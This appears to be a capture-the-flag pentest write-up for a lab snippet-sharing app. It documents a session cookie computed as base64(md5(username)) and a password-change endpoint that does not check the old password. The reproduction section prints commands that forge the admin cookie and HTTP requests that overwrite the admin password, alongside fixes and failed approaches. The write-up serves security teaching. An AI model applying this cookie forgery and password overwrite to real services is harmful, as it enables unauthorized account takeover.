Copypasta: Predictable Session Token + Unverified Password Change
Part 1: Pentest Report
Executive Summary
Copypasta is a code snippet sharing platform on Express + React, structurally similar to Pastebin or GitHub Gist. Testing identified an unauthenticated full account takeover path against any user (including admin) by combining a deterministic session cookie format with a password change endpoint that does not verify the existing password.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Predictable session token + unverified password change | Critical | 9.8 | CWE-330, CWE-620 | PUT /api/profile/password |
The flag was delivered in an x-flag response header on the password change request once admin’s password was actually changed using a forged session cookie. The lab’s tripwire fires only on a successful admin password reset, confirming end-to-end compromise of the admin account from an unauthenticated starting position.
Objective
Pentest the Copypasta web application, mapping the auth surface and exercising any path that yields data access across users or full account compromise.
Scope / Initial Access
# Target Application
URL: https://lab-1778200664946-zbg8zi.labs-app.bugforge.io
# Auth details
Registration: open via POST /api/register {username, email, password, full_name}
Login: POST /api/login
Session cookie: Cookie `session=<base64(32 hex chars)>` URL-encoded
Starting privileges: unauthenticated
Registration is open, so the engagement starts from zero credentials and registers a throwaway user as a baseline.
Reconnaissance: Hash Probe on the Session Cookie
The session cookie’s shape was the key recon signal. After a few sequential registrations, the issued cookies all looked like the same fixed length hash payload, which made a “what hash is this, of what input” probe the cheapest next step.
- Sequential registrations produced session cookies of identical structure:
session=<base64-wrapped 32 hex string>%3D. Same length, same shape across every account. - The 32 hex character payload length matches the output size of md5 exactly.
- Computing
md5(username)for each registered account matched the base64-decoded cookie byte for byte. Five accounts tested, five matches. - The endpoint
GET /api/profile/:usernamereturns200for valid usernames and404for unknown ones, providing a confirmation channel for the standardadminusername.
These four observations together enable a one request exploit: the session cookie of any user whose username is known is computable offline, and the standard admin username is confirmed to exist.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (x-powered-by: Express) |
| Frontend | React SPA, ~515KB bundle |
| Auth | Server-issued session cookie, base64-wrapped 32 hex characters |
| Database | Not directly observable; snake_case JSON keys (is_public, share_code, user_id) |
| Hardening headers | None observed (no CSP, XFO, X-Content-Type-Options, anti-CSRF token) |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Issues session on success |
/api/login |
POST | No | Re-issues session matching base64(md5(username)) byte for byte |
/api/verify-token |
GET | Cookie | 200 with user object on valid session, 401 otherwise |
/api/profile/:username |
GET | Cookie | 200/404 split provides username confirmation |
/api/profile/password |
PUT | Cookie | Body {password}; no current password challenge |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| coder123 | 2 | user |
| pythonista | 3 | user |
| (seeded user 4) | 4 | user |
| haxor (registered for testing) | 5 | user |
Attack Chain Visualization
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Register users, │ │ Confirm session │ │ Forge admin │ │ PUT password │
│ inspect cookie │ ──▶│ = base64(md5( │ ──▶│ cookie via │ ──▶│ change. flag in │
│ format │ │ username)) │ │ md5("admin") │ │ x-flag header │
└──────────────────┘ └──────────────────┘ └──────────────────┘ └──────────────────┘
Findings
F1: Predictable Session Token + Unverified Password Change
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-330 (Use of Insufficiently Random Values), CWE-620 (Unverified Password Change)
Endpoint: PUT /api/profile/password
Authentication required: No (a session cookie can be forged for any known username)
Description
The defect compounds two flaws on the server:
- Predictable session token. The server issues session cookies of the form
base64(md5(username))URL-encoded. The formula was verified by registering five accounts and observing each issued cookie match the computed hash byte for byte. Independently re-confirmed by logging in as admin (after changing admin’s password via the forged session) and observing theSet-Cookiereturned byPOST /api/loginmatch the forged cookie byte for byte. - Password change without current password verification.
PUT /api/profile/passwordresolves the target user from the session cookie and accepts a body of{"password": "..."}only. The endpoint does not challenge the existing password.
A forged session cookie for admin, paired with a single PUT request, overwrites admin’s password without any prior credentials.
Impact
Full account takeover of any user, including admin, from an unauthenticated starting position.
Reproduction
Step 1: Compute the forged admin session cookie
printf admin | md5sum
# 21232f297a57a5a743894a0e4a801fc3
printf 21232f297a57a5a743894a0e4a801fc3 | base64 -w0
# MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=
# URL-encode trailing '=' as '%3D':
# MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
The resulting string matches the format of admin’s server-issued session cookie. The same construction was verified against five other registered accounts.
Step 2: Verify the forged session is accepted
GET /api/verify-token HTTP/1.1
Host: lab-1778200664946-zbg8zi.labs-app.bugforge.io
Cookie: session=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Response:
HTTP/1.1 200 OK
{"user":{"id":1,"username":"admin","role":"admin","email":"[email protected]",...}}
The forged cookie is accepted as admin’s session.
Step 3: Change admin’s password using the forged session
PUT /api/profile/password HTTP/1.1
Host: lab-1778200664946-zbg8zi.labs-app.bugforge.io
Cookie: session=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Content-Type: application/json
{"password":"pwned_by_haxor_v2"}
Response:
HTTP/1.1 200 OK
x-flag: bug{v5syxTXKo1hvnk2rIPMxK1WChd6bickx}
Content-Type: application/json
{"message":"Password updated"}
The flag is delivered in the x-flag response header. The lab tripwire fires only on a successful admin password change.
Remediation
Fix 1: Replace deterministic session derivation with random session IDs stored on the server
// BEFORE (Vulnerable)
function issueSession(username) {
const sessionId = md5(username);
return base64(sessionId);
}
function authenticateRequest(cookie) {
const sessionId = base64.decode(cookie);
return User.findOne({ session_md5: sessionId });
}
// AFTER (Secure)
function issueSession(userId) {
const sessionId = crypto.randomBytes(32).toString('hex');
await SessionStore.set(sessionId, {
userId,
issuedAt: Date.now(),
expiresAt: Date.now() + SESSION_TTL_MS
});
return sessionId;
}
function authenticateRequest(cookie) {
const session = await SessionStore.get(cookie);
if (!session || session.expiresAt < Date.now()) return null;
return User.findById(session.userId);
}
Fix 2: Require current password verification on password change
// BEFORE (Vulnerable)
app.put('/api/profile/password', requireSession, async (req, res) => {
const { password } = req.body;
await User.updatePassword(req.session.userId, password);
res.json({ message: 'Password updated' });
});
// AFTER (Secure)
app.put('/api/profile/password', requireSession, async (req, res) => {
const { current_password, new_password } = req.body;
const user = await User.findById(req.session.userId);
const valid = await bcrypt.compare(current_password, user.password_hash);
if (!valid) return res.status(401).json({ error: 'Current password is incorrect' });
await User.updatePassword(user.id, new_password);
res.json({ message: 'Password updated' });
});
Additional recommendations:
- Set session cookie attributes
Secure,HttpOnly,SameSite=Strict(orLax). - Enforce session expiration and revoke active sessions on password change.
- Send an out of band notification (email) on password change events.
- Log password change events to a security audit channel.
- Sanitize user-content fields (snippet code, comments, profile bio) at storage time as defense in depth, since rendering paths can change later.
OWASP Top 10 Coverage
- A07:2021 Identification and Authentication Failures: Session cookies are a deterministic transform of a publicly known field (username), allowing offline pre-computation of any user’s session.
- A01:2021 Broken Access Control: The password change endpoint authenticates only via the session and applies the change without verifying the current password, removing the second factor that normally guards against session theft.
Tools Used
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept, inspect, and replay HTTP requests |
coreutils (md5sum, base64) |
Compute hash candidates and encode session cookies |
| curl | Reproduce the chain with the forged cookie |
References
- CWE-330: https://cwe.mitre.org/data/definitions/330.html
- CWE-620: https://cwe.mitre.org/data/definitions/620.html
- OWASP Session Management Cheat Sheet
- OWASP Authentication Cheat Sheet
Part 2: Notes / Knowledge
Key Learnings
- Session cookies that look like hashes deserve a quick exploratory probe before you assume server-side randomness. A 32-hex (md5), 40-hex (sha1), or base64-wrapped equivalent in a
session=cookie is a tell. Register two or three accounts back to back, dump the issued cookies, and trymd5/sha1of every known identity field (username,email,user_id, registration timestamp) against each. A match means the cookie can be enumerated, so any user’s session is accessible.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Role escalation via mass assignment on POST /api/register or PUT /api/profile (role: "admin") |
Body extras silently dropped; response shows role: "user" |
Server-side allowlist on writable profile fields |
Account takeover via mass assignment on PUT /api/profile/password body extras (username, user_id, targetUser, id, email) |
All extras ignored; endpoint resolves user from session cookie alone | Endpoint reads target user from session, not body |
IDOR on PUT /api/snippets/:id and DELETE /api/snippets/:id |
403 “Not authorized” for both public and private snippets owned by other users | Server-side ownership check enforced on writes |
DELETE /api/profile |
Express default 404 | Route does not exist on the server; JS bundle reference was dead code |
| Stored XSS via snippet code, comment content, or profile bio | Rendered output is HTML-escaped on the page | React JSX text-binding auto-escapes; no markdown or HTML render path is invoked |
GET /api/snippets/share/:code private snippet bypass |
401 without an authenticated session | UUIDv4 share codes are not predictable; access still requires authentication |
| Quick SQLi probe on numeric paths and login inputs | No error or response shape divergence | Inputs appear parameterized |
Tags: #bugforge #predictable-session #session-token #cwe-330 #cwe-620 #account-takeover #unauthenticated
Document Version: 1.0
Last Updated: 2026-05-08